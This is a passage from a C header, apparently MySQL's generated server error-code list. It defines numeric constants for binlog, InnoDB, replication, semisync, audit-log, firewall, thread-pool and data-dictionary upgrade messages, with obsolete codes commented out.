ER_BINLOG_LOGGING_INCIDENT_TO_STOP_REPLICAS 10853 #define ER_BINLOG_CANT_FIND_LOG_IN_INDEX 10854 #define ER_BINLOG_RECOVERING_AFTER_CRASH_USING 10855 #define ER_BINLOG_CANT_OPEN_CRASHED_BINLOG 10856 #define ER_BINLOG_CANT_TRIM_CRASHED_BINLOG 10857 #define ER_BINLOG_CRASHED_BINLOG_TRIMMED 10858 #define ER_BINLOG_CANT_CLEAR_IN_USE_FLAG_FOR_CRASHED_BINLOG 10859 #define ER_BINLOG_FAILED_TO_RUN_AFTER_SYNC_HOOK 10860 #define ER_TURNING_LOGGING_OFF_FOR_THE_DURATION 10861 #define ER_BINLOG_FAILED_TO_RUN_AFTER_FLUSH_HOOK 10862 //#define OBSOLETE_ER_BINLOG_CRASH_RECOVERY_FAILED 10863 #define ER_BINLOG_WARNING_SUPPRESSED 10864 #define ER_NDB_LOG_ENTRY 10865 #define ER_NDB_LOG_ENTRY_WITH_PREFIX 10866 //#define OBSOLETE_ER_NDB_BINLOG_CANT_CREATE_PURGE_THD 10867 #define ER_INNODB_UNKNOWN_COLLATION 10868 #define ER_INNODB_INVALID_LOG_GROUP_HOME_DIR 10869 #define ER_INNODB_INVALID_INNODB_UNDO_DIRECTORY 10870 #define ER_INNODB_ILLEGAL_COLON_IN_POOL 10871 #define ER_INNODB_INVALID_PAGE_SIZE 10872 #define ER_INNODB_DIRTY_WATER_MARK_NOT_LOW 10873 #define ER_INNODB_IO_CAPACITY_EXCEEDS_MAX 10874 #define ER_INNODB_FILES_SAME 10875 #define ER_INNODB_UNREGISTERED_TRX_ACTIVE 10876 #define ER_INNODB_CLOSING_CONNECTION_ROLLS_BACK 10877 #define ER_INNODB_TRX_XLATION_TABLE_OOM 10878 #define ER_INNODB_CANT_FIND_INDEX_IN_INNODB_DD 10879 #define ER_INNODB_INDEX_COLUMN_INFO_UNLIKE_MYSQLS 10880 //#define OBSOLETE_ER_INNODB_CANT_OPEN_TABLE 10881 #define ER_INNODB_CANT_BUILD_INDEX_XLATION_TABLE_FOR 10882 #define ER_INNODB_PK_NOT_IN_MYSQL 10883 #define ER_INNODB_PK_ONLY_IN_MYSQL 10884 #define ER_INNODB_CLUSTERED_INDEX_PRIVATE 10885 //#define OBSOLETE_ER_INNODB_PARTITION_TABLE_LOWERCASED 10886 #define ER_ERRMSG_REPLACEMENT_DODGY 10887 #define ER_ERRMSG_REPLACEMENTS_FAILED 10888 #define ER_NPIPE_CANT_CREATE 10889 #define ER_PARTITION_MOVE_CREATED_DUPLICATE_ROW_PLEASE_FIX 10890 #define ER_AUDIT_CANT_ABORT_COMMAND 10891 #define ER_AUDIT_CANT_ABORT_EVENT 10892 #define ER_AUDIT_WARNING 10893 //#define OBSOLETE_ER_NDB_NUMBER_OF_CHANNELS 10894 //#define OBSOLETE_ER_NDB_REPLICA_PARALLEL_WORKERS 10895 //#define OBSOLETE_ER_NDB_DISTRIBUTING_ERR 10896 #define ER_RPL_REPLICA_INSECURE_CHANGE_SOURCE 10897 //#define OBSOLETE_ER_RPL_SLAVE_FLUSH_RELAY_LOGS_NOT_ALLOWED 10898 #define ER_RPL_REPLICA_INCORRECT_CHANNEL 10899 #define ER_FAILED_TO_FIND_DL_ENTRY 10900 #define ER_FAILED_TO_OPEN_SHARED_LIBRARY 10901 #define ER_THREAD_PRIORITY_IGNORED 10902 #define ER_BINLOG_CACHE_SIZE_TOO_LARGE 10903 #define ER_BINLOG_STMT_CACHE_SIZE_TOO_LARGE 10904 #define ER_FAILED_TO_GENERATE_UNIQUE_LOGFILE 10905 #define ER_FAILED_TO_READ_FILE 10906 #define ER_FAILED_TO_WRITE_TO_FILE 10907 #define ER_BINLOG_UNSAFE_MESSAGE_AND_STATEMENT 10908 #define ER_FORCE_CLOSE_THREAD 10909 #define ER_SERVER_SHUTDOWN_COMPLETE 10910 #define ER_RPL_CANT_HAVE_SAME_BASENAME 10911 #define ER_RPL_GTID_MODE_REQUIRES_ENFORCE_GTID_CONSISTENCY_ON 10912 #define ER_WARN_NO_SERVERID_SPECIFIED 10913 #define ER_ABORTING_USER_CONNECTION 10914 #define ER_SQL_MODE_MERGED_WITH_STRICT_MODE 10915 #define ER_GTID_PURGED_WAS_UPDATED 10916 #define ER_GTID_EXECUTED_WAS_UPDATED 10917 #define ER_DEPRECATE_MSG_WITH_REPLACEMENT 10918 #define ER_TRG_CREATION_CTX_NOT_SET 10919 #define ER_FILE_HAS_OLD_FORMAT 10920 #define ER_VIEW_CREATION_CTX_NOT_SET 10921 //#define OBSOLETE_ER_TABLE_NAME_CAUSES_TOO_LONG_PATH 10922 #define ER_TABLE_UPGRADE_REQUIRED 10923 #define ER_GET_ERRNO_FROM_STORAGE_ENGINE 10924 #define ER_ACCESS_DENIED_ERROR_WITHOUT_PASSWORD 10925 #define ER_ACCESS_DENIED_ERROR_WITH_PASSWORD 10926 #define ER_ACCESS_DENIED_FOR_USER_ACCOUNT_LOCKED 10927 //#define OBSOLETE_ER_MUST_CHANGE_EXPIRED_PASSWORD 10928 #define ER_SYSTEM_TABLES_NOT_SUPPORTED_BY_STORAGE_ENGINE 10929 //#define OBSOLETE_ER_FILESORT_TERMINATED 10930 #define ER_SERVER_STARTUP_MSG 10931 #define ER_FAILED_TO_FIND_LOCALE_NAME 10932 #define ER_FAILED_TO_FIND_COLLATION_NAME 10933 #define ER_SERVER_OUT_OF_RESOURCES 10934 #define ER_SERVER_OUTOFMEMORY 10935 #define ER_INVALID_COLLATION_FOR_CHARSET 10936 #define ER_CANT_START_ERROR_LOG_SERVICE 10937 #define ER_CREATING_NEW_UUID_FIRST_START 10938 #define ER_FAILED_TO_GET_ABSOLUTE_PATH 10939 #define ER_PERFSCHEMA_COMPONENTS_INFRASTRUCTURE_BOOTSTRAP 10940 #define ER_PERFSCHEMA_COMPONENTS_INFRASTRUCTURE_SHUTDOWN 10941 #define ER_DUP_FD_OPEN_FAILED 10942 #define ER_SYSTEM_VIEW_INIT_FAILED 10943 #define ER_RESOURCE_GROUP_POST_INIT_FAILED 10944 #define ER_RESOURCE_GROUP_SUBSYSTEM_INIT_FAILED 10945 #define ER_FAILED_START_MYSQLD_DAEMON 10946 #define ER_CANNOT_CHANGE_TO_ROOT_DIR 10947 #define ER_PERSISTENT_PRIVILEGES_BOOTSTRAP 10948 #define ER_BASEDIR_SET_TO 10949 #define ER_RPL_FILTER_ADD_WILD_DO_TABLE_FAILED 10950 #define ER_RPL_FILTER_ADD_WILD_IGNORE_TABLE_FAILED 10951 #define ER_PRIVILEGE_SYSTEM_INIT_FAILED 10952 #define ER_CANNOT_SET_LOG_ERROR_SERVICES 10953 #define ER_PERFSCHEMA_TABLES_INIT_FAILED 10954 #define ER_TX_EXTRACTION_ALGORITHM_FOR_BINLOG_TX_DEPEDENCY_TRACKING 10955 //#define OBSOLETE_ER_INVALID_REPLICATION_TIMESTAMPS 10956 //#define OBSOLETE_ER_RPL_TIMESTAMPS_RETURNED_TO_NORMAL 10957 #define ER_BINLOG_FILE_OPEN_FAILED 10958 #define ER_BINLOG_EVENT_WRITE_TO_STMT_CACHE_FAILED 10959 #define ER_REPLICA_RELAY_LOG_TRUNCATE_INFO 10960 #define ER_REPLICA_RELAY_LOG_PURGE_FAILED 10961 #define ER_RPL_REPLICA_FILTER_CREATE_FAILED 10962 #define ER_RPL_REPLICA_GLOBAL_FILTERS_COPY_FAILED 10963 #define ER_RPL_REPLICA_RESET_FILTER_OPTIONS 10964 #define ER_MISSING_GRANT_SYSTEM_TABLE 10965 #define ER_MISSING_ACL_SYSTEM_TABLE 10966 #define ER_ANONYMOUS_AUTH_ID_NOT_ALLOWED_IN_MANDATORY_ROLES 10967 #define ER_UNKNOWN_AUTH_ID_IN_MANDATORY_ROLE 10968 #define ER_WRITE_ROW_TO_PARTITION_FAILED 10969 #define ER_RESOURCE_GROUP_METADATA_UPDATE_SKIPPED 10970 #define ER_FAILED_TO_PERSIST_RESOURCE_GROUP_METADATA 10971 #define ER_FAILED_TO_DESERIALIZE_RESOURCE_GROUP 10972 #define ER_FAILED_TO_UPDATE_RESOURCE_GROUP 10973 #define ER_RESOURCE_GROUP_VALIDATION_FAILED 10974 #define ER_FAILED_TO_ALLOCATE_MEMORY_FOR_RESOURCE_GROUP 10975 #define ER_FAILED_TO_ALLOCATE_MEMORY_FOR_RESOURCE_GROUP_HASH 10976 #define ER_FAILED_TO_ADD_RESOURCE_GROUP_TO_MAP 10977 #define ER_RESOURCE_GROUP_IS_DISABLED 10978 #define ER_FAILED_TO_APPLY_RESOURCE_GROUP_CONTROLLER 10979 #define ER_FAILED_TO_ACQUIRE_LOCK_ON_RESOURCE_GROUP 10980 #define ER_PFS_NOTIFICATION_FUNCTION_REGISTER_FAILED 10981 #define ER_RES_GRP_SET_THR_AFFINITY_FAILED 10982 #define ER_RES_GRP_SET_THR_AFFINITY_TO_CPUS_FAILED 10983 #define ER_RES_GRP_THD_UNBIND_FROM_CPU_FAILED 10984 #define ER_RES_GRP_SET_THREAD_PRIORITY_FAILED 10985 #define ER_RES_GRP_FAILED_TO_DETERMINE_NICE_CAPABILITY 10986 #define ER_RES_GRP_FAILED_TO_GET_THREAD_HANDLE 10987 #define ER_RES_GRP_GET_THREAD_PRIO_NOT_SUPPORTED 10988 #define ER_RES_GRP_FAILED_DETERMINE_CPU_COUNT 10989 #define ER_RES_GRP_FEATURE_NOT_AVAILABLE 10990 #define ER_RES_GRP_INVALID_THREAD_PRIORITY 10991 #define ER_RES_GRP_SOLARIS_PROCESSOR_BIND_TO_CPUID_FAILED 10992 #define ER_RES_GRP_SOLARIS_PROCESSOR_BIND_TO_THREAD_FAILED 10993 #define ER_RES_GRP_SOLARIS_PROCESSOR_AFFINITY_FAILED 10994 #define ER_DD_UPGRADE_RENAME_IDX_STATS_FILE_FAILED 10995 #define ER_DD_UPGRADE_DD_OPEN_FAILED 10996 #define ER_DD_UPGRADE_FAILED_TO_FETCH_TABLESPACES 10997 #define ER_DD_UPGRADE_FAILED_TO_ACQUIRE_TABLESPACE 10998 #define ER_DD_UPGRADE_FAILED_TO_RESOLVE_TABLESPACE_ENGINE 10999 #define ER_FAILED_TO_CREATE_SDI_FOR_TABLESPACE 11000 #define ER_FAILED_TO_STORE_SDI_FOR_TABLESPACE 11001 #define ER_DD_UPGRADE_FAILED_TO_FETCH_TABLES 11002 #define ER_DD_UPGRADE_DD_POPULATED 11003 #define ER_DD_UPGRADE_INFO_FILE_OPEN_FAILED 11004 #define ER_DD_UPGRADE_INFO_FILE_CLOSE_FAILED 11005 #define ER_DD_UPGRADE_TABLESPACE_MIGRATION_FAILED 11006 #define ER_DD_UPGRADE_FAILED_TO_CREATE_TABLE_STATS 11007 #define ER_DD_UPGRADE_TABLE_STATS_MIGRATE_COMPLETED 11008 #define ER_DD_UPGRADE_FAILED_TO_CREATE_INDEX_STATS 11009 #define ER_DD_UPGRADE_INDEX_STATS_MIGRATE_COMPLETED 11010 #define ER_DD_UPGRADE_FAILED_FIND_VALID_DATA_DIR 11011 #define ER_DD_UPGRADE_START 11012 #define ER_DD_UPGRADE_FAILED_INIT_DD_SE 11013 #define ER_DD_UPGRADE_FOUND_PARTIALLY_UPGRADED_DD_ABORT 11014 #define ER_DD_UPGRADE_FOUND_PARTIALLY_UPGRADED_DD_CONTINUE 11015 #define ER_DD_UPGRADE_SE_LOGS_FAILED 11016 #define ER_DD_UPGRADE_SDI_INFO_UPDATE_FAILED 11017 #define ER_SKIP_UPDATING_METADATA_IN_SE_RO_MODE 11018 #define ER_CREATED_SYSTEM_WITH_VERSION 11019 #define ER_UNKNOWN_ERROR_DETECTED_IN_SE 11020 #define ER_READ_LOG_EVENT_FAILED 11021 #define ER_ROW_DATA_TOO_BIG_TO_WRITE_IN_BINLOG 11022 #define ER_FAILED_TO_CONSTRUCT_DROP_EVENT_QUERY 11023 #define ER_FAILED_TO_BINLOG_DROP_EVENT 11024 #define ER_FAILED_TO_START_REPLICA_THREAD 11025 #define ER_RPL_IO_THREAD_KILLED 11026 #define ER_REPLICA_RECONNECT_FAILED 11027 #define ER_REPLICA_KILLED_AFTER_RECONNECT 11028 #define ER_REPLICA_NOT_STARTED_ON_SOME_CHANNELS 11029 #define ER_FAILED_TO_ADD_RPL_FILTER 11030 #define ER_PER_CHANNEL_RPL_FILTER_CONF_FOR_GRP_RPL 11031 #define ER_RPL_FILTERS_NOT_ATTACHED_TO_CHANNEL 11032 #define ER_FAILED_TO_BUILD_DO_AND_IGNORE_TABLE_HASHES 11033 #define ER_CLONE_PLUGIN_NOT_LOADED_TRACE 11034 #define ER_CLONE_HANDLER_EXIST_TRACE 11035 #define ER_CLONE_CREATE_HANDLER_FAIL_TRACE 11036 #define ER_CYCLE_TIMER_IS_NOT_AVAILABLE 11037 #define ER_NANOSECOND_TIMER_IS_NOT_AVAILABLE 11038 #define ER_MICROSECOND_TIMER_IS_NOT_AVAILABLE 11039 #define ER_PFS_MALLOC_ARRAY_OVERFLOW 11040 #define ER_PFS_MALLOC_ARRAY_OOM 11041 #define ER_INNODB_FAILED_TO_FIND_IDX_WITH_KEY_NO 11042 #define ER_INNODB_FAILED_TO_FIND_IDX 11043 #define ER_INNODB_FAILED_TO_FIND_IDX_FROM_DICT_CACHE 11044 #define ER_INNODB_ACTIVE_INDEX_CHANGE_FAILED 11045 #define ER_INNODB_DIFF_IN_REF_LEN 11046 #define ER_WRONG_TYPE_FOR_COLUMN_PREFIX_IDX_FLD 11047 #define ER_INNODB_CANNOT_CREATE_TABLE 11048 #define ER_INNODB_INTERNAL_INDEX 11049 #define ER_INNODB_IDX_CNT_MORE_THAN_DEFINED_IN_MYSQL 11050 #define ER_INNODB_IDX_CNT_FEWER_THAN_DEFINED_IN_MYSQL 11051 #define ER_INNODB_IDX_COLUMN_CNT_DIFF 11052 #define ER_INNODB_USE_MONITOR_GROUP_NAME 11053 #define ER_INNODB_MONITOR_DEFAULT_VALUE_NOT_DEFINED 11054 #define ER_INNODB_MONITOR_IS_ENABLED 11055 #define ER_INNODB_INVALID_MONITOR_COUNTER_NAME 11056 #define ER_WIN_LOAD_LIBRARY_FAILED 11057 #define ER_PARTITION_HANDLER_ADMIN_MSG 11058 #define ER_RPL_AM_INIT_INFO_MSG 11059 #define ER_DD_UPGRADE_TABLE_INTACT_ERROR 11060 #define ER_SERVER_INIT_COMPILED_IN_COMMANDS 11061 #define ER_MYISAM_CHECK_METHOD_ERROR 11062 #define ER_MYISAM_CRASHED_ERROR 11063 #define ER_WAITPID_FAILED 11064 #define ER_FAILED_TO_FIND_MYSQLD_STATUS 11065 #define ER_INNODB_ERROR_LOGGER_MSG 11066 #define ER_INNODB_ERROR_LOGGER_FATAL_MSG 11067 #define ER_DEPRECATED_SYNTAX_WITH_REPLACEMENT 11068 #define ER_DEPRECATED_SYNTAX_NO_REPLACEMENT 11069 #define ER_DEPRECATE_MSG_NO_REPLACEMENT 11070 #define ER_LOG_PRINTF_MSG 11071 #define ER_BINLOG_LOGGING_NOT_POSSIBLE 11072 #define ER_FAILED_TO_SET_PERSISTED_OPTIONS 11073 #define ER_COMPONENTS_FAILED_TO_ACQUIRE_SERVICE_IMPLEMENTATION 11074 #define ER_RES_GRP_INVALID_VCPU_RANGE 11075 #define ER_RES_GRP_INVALID_VCPU_ID 11076 #define ER_ERROR_DURING_FLUSH_LOG_COMMIT_PHASE 11077 #define ER_DROP_DATABASE_FAILED_RMDIR_MANUALLY 11078 #define ER_EXPIRE_LOGS_DAYS_IGNORED 11079 #define ER_BINLOG_MALFORMED_OR_OLD_RELAY_LOG 11080 #define ER_DD_UPGRADE_VIEW_COLUMN_NAME_TOO_LONG 11081 #define ER_TABLE_NEEDS_DUMP_UPGRADE 11082 #define ER_DD_UPGRADE_FAILED_TO_UPDATE_VER_NO_IN_TABLESPACE 11083 #define ER_KEYRING_MIGRATION_FAILED 11084 #define ER_KEYRING_MIGRATION_SUCCESSFUL 11085 #define ER_RESTART_RECEIVED_INFO 11086 #define ER_LCTN_CHANGED 11087 #define ER_DD_INITIALIZE 11088 #define ER_DD_RESTART 11089 #define ER_DD_UPGRADE 11090 #define ER_DD_UPGRADE_OFF 11091 #define ER_DD_UPGRADE_VERSION_NOT_SUPPORTED 11092 #define ER_DD_UPGRADE_SCHEMA_UNAVAILABLE 11093 #define ER_DD_MINOR_DOWNGRADE 11094 #define ER_DD_MINOR_DOWNGRADE_VERSION_NOT_SUPPORTED 11095 #define ER_DD_NO_VERSION_FOUND 11096 #define ER_THREAD_POOL_NOT_SUPPORTED_ON_PLATFORM 11097 #define ER_THREAD_POOL_SIZE_TOO_LOW 11098 #define ER_THREAD_POOL_SIZE_TOO_HIGH 11099 #define ER_THREAD_POOL_ALGORITHM_INVALID 11100 #define ER_THREAD_POOL_INVALID_STALL_LIMIT 11101 #define ER_THREAD_POOL_INVALID_PRIO_KICKUP_TIMER 11102 #define ER_THREAD_POOL_MAX_UNUSED_THREADS_INVALID 11103 #define ER_THREAD_POOL_CON_HANDLER_INIT_FAILED 11104 #define ER_THREAD_POOL_INIT_FAILED 11105 //#define OBSOLETE_ER_THREAD_POOL_PLUGIN_STARTED 11106 #define ER_THREAD_POOL_CANNOT_SET_THREAD_SPECIFIC_DATA 11107 #define ER_THREAD_POOL_FAILED_TO_CREATE_CONNECT_HANDLER_THD 11108 #define ER_THREAD_POOL_FAILED_TO_CREATE_THD_AND_AUTH_CONN 11109 #define ER_THREAD_POOL_FAILED_PROCESS_CONNECT_EVENT 11110 #define ER_THREAD_POOL_FAILED_TO_CREATE_POOL 11111 #define ER_THREAD_POOL_RATE_LIMITED_ERROR_MSGS 11112 #define ER_TRHEAD_POOL_LOW_LEVEL_INIT_FAILED 11113 #define ER_THREAD_POOL_LOW_LEVEL_REARM_FAILED 11114 #define ER_THREAD_POOL_BUFFER_TOO_SMALL 11115 #define ER_MECAB_NOT_SUPPORTED 11116 #define ER_MECAB_NOT_VERIFIED 11117 #define ER_MECAB_CREATING_MODEL 11118 #define ER_MECAB_FAILED_TO_CREATE_MODEL 11119 #define ER_MECAB_FAILED_TO_CREATE_TRIGGER 11120 #define ER_MECAB_UNSUPPORTED_CHARSET 11121 #define ER_MECAB_CHARSET_LOADED 11122 #define ER_MECAB_PARSE_FAILED 11123 #define ER_MECAB_OOM_WHILE_PARSING_TEXT 11124 #define ER_MECAB_CREATE_LATTICE_FAILED 11125 #define ER_SEMISYNC_TRACE_ENTER_FUNC 11126 #define ER_SEMISYNC_TRACE_EXIT_WITH_INT_EXIT_CODE 11127 #define ER_SEMISYNC_TRACE_EXIT_WITH_BOOL_EXIT_CODE 11128 #define ER_SEMISYNC_TRACE_EXIT 11129 #define ER_SEMISYNC_RPL_INIT_FOR_TRX 11130 #define ER_SEMISYNC_FAILED_TO_ALLOCATE_TRX_NODE 11131 #define ER_SEMISYNC_BINLOG_WRITE_OUT_OF_ORDER 11132 #define ER_SEMISYNC_INSERT_LOG_INFO_IN_ENTRY 11133 #define ER_SEMISYNC_PROBE_LOG_INFO_IN_ENTRY 11134 #define ER_SEMISYNC_CLEARED_ALL_ACTIVE_TRANSACTION_NODES 11135 #define ER_SEMISYNC_CLEARED_ACTIVE_TRANSACTION_TILL_POS 11136 #define ER_SEMISYNC_REPLY_MAGIC_NO_ERROR 11137 #define ER_SEMISYNC_REPLY_PKT_LENGTH_TOO_SMALL 11138 #define ER_SEMISYNC_REPLY_BINLOG_FILE_TOO_LARGE 11139 #define ER_SEMISYNC_SERVER_REPLY 11140 #define ER_SEMISYNC_FUNCTION_CALLED_TWICE 11141 #define ER_SEMISYNC_RPL_ENABLED_ON_SOURCE 11142 #define ER_SEMISYNC_SOURCE_OOM 11143 #define ER_SEMISYNC_DISABLED_ON_SOURCE 11144 #define ER_SEMISYNC_FORCED_SHUTDOWN 11145 #define ER_SEMISYNC_SOURCE_GOT_REPLY_AT_POS 11146 #define ER_SEMISYNC_SOURCE_SIGNAL_ALL_WAITING_THREADS 11147 #define ER_SEMISYNC_SOURCE_TRX_WAIT_POS 11148 #define ER_SEMISYNC_BINLOG_REPLY_IS_AHEAD 11149 #define ER_SEMISYNC_MOVE_BACK_WAIT_POS 11150 #define ER_SEMISYNC_INIT_WAIT_POS 11151 #define ER_SEMISYNC_WAIT_TIME_FOR_BINLOG_SENT 11152 #define ER_SEMISYNC_WAIT_FOR_BINLOG_TIMEDOUT 11153 #define ER_SEMISYNC_WAIT_TIME_ASSESSMENT_FOR_COMMIT_TRX_FAILED 11154 #define ER_SEMISYNC_RPL_SWITCHED_OFF 11155 #define ER_SEMISYNC_RPL_SWITCHED_ON 11156 #define ER_SEMISYNC_NO_SPACE_IN_THE_PKT 11157 #define ER_SEMISYNC_SYNC_HEADER_UPDATE_INFO 11158 #define ER_SEMISYNC_FAILED_TO_INSERT_TRX_NODE 11159 #define ER_SEMISYNC_TRX_SKIPPED_AT_POS 11160 #define ER_SEMISYNC_SOURCE_FAILED_ON_NET_FLUSH 11161 #define ER_SEMISYNC_RECEIVED_ACK_IS_SMALLER 11162 #define ER_SEMISYNC_ADD_ACK_TO_SLOT 11163 #define ER_SEMISYNC_UPDATE_EXISTING_REPLICA_ACK 11164 #define ER_SEMISYNC_FAILED_TO_START_ACK_RECEIVER_THD 11165 #define ER_SEMISYNC_STARTING_ACK_RECEIVER_THD 11166 #define ER_SEMISYNC_FAILED_TO_WAIT_ON_DUMP_SOCKET 11167 #define ER_SEMISYNC_STOPPING_ACK_RECEIVER_THREAD 11168 #define ER_SEMISYNC_FAILED_REGISTER_REPLICA_TO_RECEIVER 11169 #define ER_SEMISYNC_START_BINLOG_DUMP_TO_REPLICA 11170 #define ER_SEMISYNC_STOP_BINLOG_DUMP_TO_REPLICA 11171 #define ER_SEMISYNC_UNREGISTER_TRX_OBSERVER_FAILED 11172 #define ER_SEMISYNC_UNREGISTER_BINLOG_STORAGE_OBSERVER_FAILED 11173 #define ER_SEMISYNC_UNREGISTER_BINLOG_TRANSMIT_OBSERVER_FAILED 11174 #define ER_SEMISYNC_UNREGISTERED_REPLICATOR 11175 #define ER_SEMISYNC_SOCKET_FD_TOO_LARGE 11176 #define ER_SEMISYNC_REPLICA_REPLY 11177 #define ER_SEMISYNC_MISSING_MAGIC_NO_FOR_SEMISYNC_PKT 11178 #define ER_SEMISYNC_REPLICA_START 11179 #define ER_SEMISYNC_REPLICA_REPLY_WITH_BINLOG_INFO 11180 #define ER_SEMISYNC_REPLICA_NET_FLUSH_REPLY_FAILED 11181 #define ER_SEMISYNC_REPLICA_SEND_REPLY_FAILED 11182 #define ER_SEMISYNC_EXECUTION_FAILED_ON_SOURCE 11183 #define ER_SEMISYNC_NOT_SUPPORTED_BY_SOURCE 11184 #define ER_SEMISYNC_REPLICA_SET_FAILED 11185 #define ER_SEMISYNC_FAILED_TO_STOP_ACK_RECEIVER_THD 11186 #define ER_FIREWALL_FAILED_TO_READ_FIREWALL_TABLES 11187 #define ER_FIREWALL_FAILED_TO_REG_DYNAMIC_PRIVILEGES 11188 #define ER_FIREWALL_RECORDING_STMT_WAS_TRUNCATED 11189 #define ER_FIREWALL_RECORDING_STMT_WITHOUT_TEXT 11190 #define ER_FIREWALL_SUSPICIOUS_STMT 11191 #define ER_FIREWALL_ACCESS_DENIED 11192 #define ER_FIREWALL_SKIPPED_UNKNOWN_USER_MODE 11193 #define ER_FIREWALL_RELOADING_CACHE 11194 #define ER_FIREWALL_RESET_FOR_USER 11195 #define ER_FIREWALL_STATUS_FLUSHED 11196 #define ER_KEYRING_LOGGER_ERROR_MSG 11197 #define ER_AUDIT_LOG_FILTER_IS_NOT_INSTALLED 11198 #define ER_AUDIT_LOG_SWITCHING_TO_INCLUDE_LIST 11199 #define ER_AUDIT_LOG_CANNOT_SET_LOG_POLICY_WITH_OTHER_POLICIES 11200 #define ER_AUDIT_LOG_ONLY_INCLUDE_LIST_USED 11201 #define ER_AUDIT_LOG_INDEX_MAP_CANNOT_ACCESS_DIR 11202 #define ER_AUDIT_LOG_WRITER_RENAME_FILE_FAILED 11203 #define ER_AUDIT_LOG_WRITER_DEST_FILE_ALREADY_EXISTS 11204 #define ER_AUDIT_LOG_WRITER_RENAME_FILE_FAILED_REMOVE_FILE_MANUALLY 11205 #define ER_AUDIT_LOG_WRITER_INCOMPLETE_FILE_RENAMED 11206 #define ER_AUDIT_LOG_WRITER_FAILED_TO_WRITE_TO_FILE 11207 #define ER_AUDIT_LOG_EC_WRITER_FAILED_TO_INIT_ENCRYPTION 11208 #define ER_AUDIT_LOG_EC_WRITER_FAILED_TO_INIT_COMPRESSION 11209 #define ER_AUDIT_LOG_EC_WRITER_FAILED_TO_CREATE_FILE 11210 #define ER_AUDIT_LOG_RENAME_LOG_FILE_BEFORE_FLUSH 11211 #define ER_AUDIT_LOG_FILTER_RESULT_MSG 11212 #define ER_AUDIT_LOG_JSON_READER_FAILED_TO_PARSE 11213 #define ER_AUDIT_LOG_JSON_READER_BUF_TOO_SMALL 11214 #define ER_AUDIT_LOG_JSON_READER_FAILED_TO_OPEN_FILE 11215 #define ER_AUDIT_LOG_JSON_READER_FILE_PARSING_ERROR 11216 //#define OBSOLETE_ER_AUDIT_LOG_FILTER_INVALID_COLUMN_COUNT 11217 //#define OBSOLETE_ER_AUDIT_LOG_FILTER_INVALID_COLUMN_DEFINITION 11218 #define ER_AUDIT_LOG_FILTER_FAILED_TO_STORE_TABLE_FLDS 11219 #define ER_AUDIT_LOG_FILTER_FAILED_TO_UPDATE_TABLE 11220 #define ER_AUDIT_LOG_FILTER_FAILED_TO_INSERT_INTO_TABLE 11221 #define ER_AUDIT_LOG_FILTER_FAILED_TO_DELETE_FROM_TABLE 11222 #define ER_AUDIT_LOG_FILTER_FAILED_TO_INIT_TABLE_FOR_READ 11223 #define ER_AUDIT_LOG_FILTER_FAILED_TO_READ_TABLE 11224 #define ER_AUDIT_LOG_FILTER_FAILED_TO_CLOSE_TABLE_AFTER_READING 11225 #define ER_AUDIT_LOG_FILTER_USER_AND_HOST_CANNOT_BE_EMPTY 11226 #define ER_AUDIT_LOG_FILTER_FLD_FILTERNAME_CANNOT_BE_EMPTY 11227 #define ER_VALIDATE_PWD_DICT_FILE_NOT_SPECIFIED 11228 #define ER_VALIDATE_PWD_DICT_FILE_NOT_LOADED 11229 #define ER_VALIDATE_PWD_DICT_FILE_TOO_BIG 11230 #define ER_VALIDATE_PWD_FAILED_TO_READ_DICT_FILE 11231 #define ER_VALIDATE_PWD_FAILED_TO_GET_FLD_FROM_SECURITY_CTX 11232 #define ER_VALIDATE_PWD_FAILED_TO_GET_SECURITY_CTX 11233 #define ER_VALIDATE_PWD_LENGTH_CHANGED 11234 #define ER_REWRITER_QUERY_ERROR_MSG 11235 #define ER_REWRITER_QUERY_FAILED 11236 #define ER_XPLUGIN_STARTUP_FAILED 11237 //#define OBSOLETE_ER_XPLUGIN_SERVER_EXITING 11238 //#define OBSOLETE_ER_XPLUGIN_SERVER_EXITED 11239 #define ER_XPLUGIN_USING_SSL_CONF_FROM_SERVER 11240 #define ER_XPLUGIN_USING_SSL_CONF_FROM_MYSQLX 11241 #define ER_XPLUGIN_FAILED_TO_USE_SSL_CONF 11242 #define ER_XPLUGIN_USING_SSL_FOR_TLS_CONNECTION 11243 #define ER_XPLUGIN_REFERENCE_TO_SECURE_CONN_WITH_XPLUGIN 11244 #define ER_XPLUGIN_ERROR_MSG 11245 #define ER_SHA_PWD_FAILED_TO_PARSE_AUTH_STRING 11246 #define ER_SHA_PWD_FAILED_TO_GENERATE_MULTI_ROUND_HASH 11247 #define ER_SHA_PWD_AUTH_REQUIRES_RSA_OR_SSL 11248 #define ER_SHA_PWD_RSA_KEY_TOO_LONG 11249 #define ER_PLUGIN_COMMON_FAILED_TO_OPEN_FILTER_TABLES 11250 #define ER_PLUGIN_COMMON_FAILED_TO_OPEN_TABLE 11251 #define ER_AUTH_LDAP_ERROR_LOGGER_ERROR_MSG 11252 #define ER_CONN_CONTROL_ERROR_MSG 11253 #define ER_GRP_RPL_ERROR_MSG 11254 #define ER_SHA_PWD_SALT_FOR_USER_CORRUPT 11255 #define ER_SYS_VAR_COMPONENT_OOM 11256 #define ER_SYS_VAR_COMPONENT_VARIABLE_SET_READ_ONLY 11257 #define ER_SYS_VAR_COMPONENT_UNKNOWN_VARIABLE_TYPE 11258 #define ER_SYS_VAR_COMPONENT_FAILED_TO_PARSE_VARIABLE_OPTIONS 11259 #define ER_SYS_VAR_COMPONENT_FAILED_TO_MAKE_VARIABLE_PERSISTENT 11260 #define ER_COMPONENT_FILTER_CONFUSED 11261 #define ER_STOP_REPLICA_IO_THREAD_DISK_SPACE 11262 #define ER_LOG_FILE_CANNOT_OPEN 11263 //#define OBSOLETE_ER_UNABLE_TO_COLLECT_LOG_STATUS 11264 //#define OBSOLETE_ER_DEPRECATED_UTF8_ALIAS 11265 //#define OBSOLETE_ER_DEPRECATED_NATIONAL 11266 //#define OBSOLETE_ER_SLAVE_POSSIBLY_DIVERGED_AFTER_DDL 11267 #define ER_PERSIST_OPTION_STATUS 11268 #define ER_NOT_IMPLEMENTED_GET_TABLESPACE_STATISTICS 11269 //#define OBSOLETE_ER_UNABLE_TO_SET_OPTION 11270 //#define OBSOLETE_ER_RESERVED_TABLESPACE_NAME 11271 #define ER_SSL_FIPS_MODE_ERROR 11272 #define ER_CONN_INIT_CONNECT_IGNORED 11273 //#define OBSOLETE_ER_UNSUPPORTED_SQL_MODE 11274 #define ER_REWRITER_OOM 11275 #define ER_REWRITER_TABLE_MALFORMED_ERROR 11276 #define ER_REWRITER_LOAD_FAILED 11277 #define ER_REWRITER_READ_FAILED 11278 #define ER_CONN_CONTROL_EVENT_COORDINATOR_INIT_FAILED 